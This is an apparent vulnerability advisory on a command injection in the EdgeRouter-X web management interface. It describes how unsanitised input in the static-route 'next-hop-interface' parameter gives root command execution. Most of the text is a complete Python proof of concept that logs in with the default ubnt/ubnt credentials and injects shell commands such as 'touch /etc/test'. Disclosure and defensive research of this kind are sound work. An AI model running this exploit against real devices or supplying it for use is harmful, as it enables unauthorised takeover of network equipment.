| 설명 | # Command injection at the web management interface of EdgerRouter-x(2)
## Overview
* Type: command injection
* Supplier: UniFi (https://www.ui.com/)
* Product: EdgeMax EdgeRouter-x, latest firmware version v2.0.9-hotfix.6
* Firmware download: https://www.ui.com/download/edgemax/edgerouter-x/er-x
* Affect version: v2.0.9-hotfix.6
## Description of the Vulnerability
A command injection vulnerability allows commands to be executed remotely on EdgeRouter-X by crafting a request within the web application where there should be no context to access or execute code.
This command injection happened when configuring the static-routing function, the 'next-hop-interface' parameter will carry the user's data which isn't sanitized(corresponding to poc code line 68-69). With an elaborately crafted payload into the 'next-hop-interface' parameter, the device will execute the command in the payload.
The vulnerability allows a malicious attacker authenticated on the web to execute commands on the device, enabling an attacker to gain the highest privilege of the system(ie. root privilege) and take over the device without any interaction.
## Steps to Reproduce
I have put the PoC (exp.py) in the next section. Configure several parameters, and execute it, you will see an outputting ping echo from the target device(that is the injected command has been executed). The parameters are as below:
1. username, password: user who is the administrator on the web (default: ubnt, ubnt).
2. device_web_ip: web IP address of the target device.
3. ping_target: Usually configured as the local host. The device will send a ping echo to this host.
## Proof of Concept
You can open Wireshark to monitor the ICMP flow. After executing the PoC, you will see a ping echo from the device to the 'ping_target' host.
You can also set 'inject_cmd' to any other OS commands, such as 'touch /etc/test' will set up a file named 'test' under the critical directory '/etc'. Open the cli on the web you can check the touched file.
```
import requests
import json
import time
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
username = 'ubnt'
password = 'ubnt'
device_web_ip = '192.168.1.1'
ping_target = '192.168.1.5'
inject_cmd = 'ping -c 1 ' + ping_target
inject_cmd += ';touch /etc/test'
phpsessid = '35a9f702c8c6486596c6b749a6fd9d1c'
csrftoken = 'ca13a024a18598042d0d1323146ea18af8a44554eb8a68c7807a9cd6f5a6cca6'
header ={
'Host': '{}'.format(device_web_ip),
'User-Agent': 'dummy',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '27',
'Origin': 'https://{}/'.format(device_web_ip),
'Connection': 'keep-alive',
'Referer': 'https://{}/'.format(device_web_ip),
'Cookie': 'PHPSESSID={0}; X-CSRF-TOKEN={1}; beaker.session.id={0}; ip_address_top_user_option=total_bytes'.format(phpsessid,csrftoken),
'Upgrade-Insecure-Requests': '1',
'Sec-Fetch-Dest': 'document',
'Sec-Fetch-Mode': 'navigate',
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-User': '?1'
}
login_body = 'username={}&password={}'.format(username,password)
login_url = 'https://{}/'.format(device_web_ip)
loop = 3
r = None
while loop>0:
try:
loop -= 1
r = requests.post(url=login_url,headers=header,data=login_body,\
timeout=5,verify=False,allow_redirects=False)
if r is None or 'Set-Cookie' not in r.headers.keys():
print("Login failed.")
time.sleep((3-loop)*3)
else:
break
except Exception as e:
print('Login error:{}'.format(e))
if r is None:
print('Failed login,please check and retry!')
exit(1)
tmp:dict = requests.utils.dict_from_cookiejar(r.cookies)
for k,v in tmp.items():
if 'PHPSESSID' == k:
phpsessid = '{}'.format(v)
elif 'X-CSRF-TOKEN' == k:
csrftoken = '{}'.format(v)
elif 'beaker.session.id' == k:
sessionid = '{}'.format(v)
cookie = 'PHPSESSID={0}; X-CSRF-TOKEN={1}; beaker.session.id={0}; ip_address_top_user_option=total_bytes'.format(phpsessid,csrftoken)
param = {
'SET': {'protocols': {'static': {'interface-route': {'10.10.12.0/24':
{'next-hop-interface': 'eth2/index.html|{}|'.format(inject_cmd)}}}}},
'GET': {'protocols': {'static': {'interface-route': {'10.10.12.0/24': {'next-hop-interface': {'eth2': None}}}}}}}
victim_url = 'https://{}/api/edge/batch.json'.format(device_web_ip)
victim_body = json.dumps(param)
victim_header = {
'Host': '{}'.format(device_web_ip),
'User-Agent': 'dummy',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br',
'Content-Type': 'application/json',
'X-CSRF-TOKEN': '{}'.format(csrftoken),
'X-Requested-With': 'XMLHttpRequest',
'Origin': 'https://{}/'.format(device_web_ip),
'Connection': 'keep-alive',
'Referer': 'https://{}/'.format(device_web_ip),
'Cookie': 'PHPSESSID={0};X-CSRF-TOKEN={1};ip_address_top_user_option=total_bytes;beaker.session.id={0}'.format(phpsessid,csrftoken),
'Sec-Fetch-Dest': 'empty',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Site': 'same-origin'}
r = requests.post(url=victim_url,headers=victim_header,data=victim_body,\
timeout=5,verify=False,allow_redirects=False)
print(r.status_code)
``` |
|---|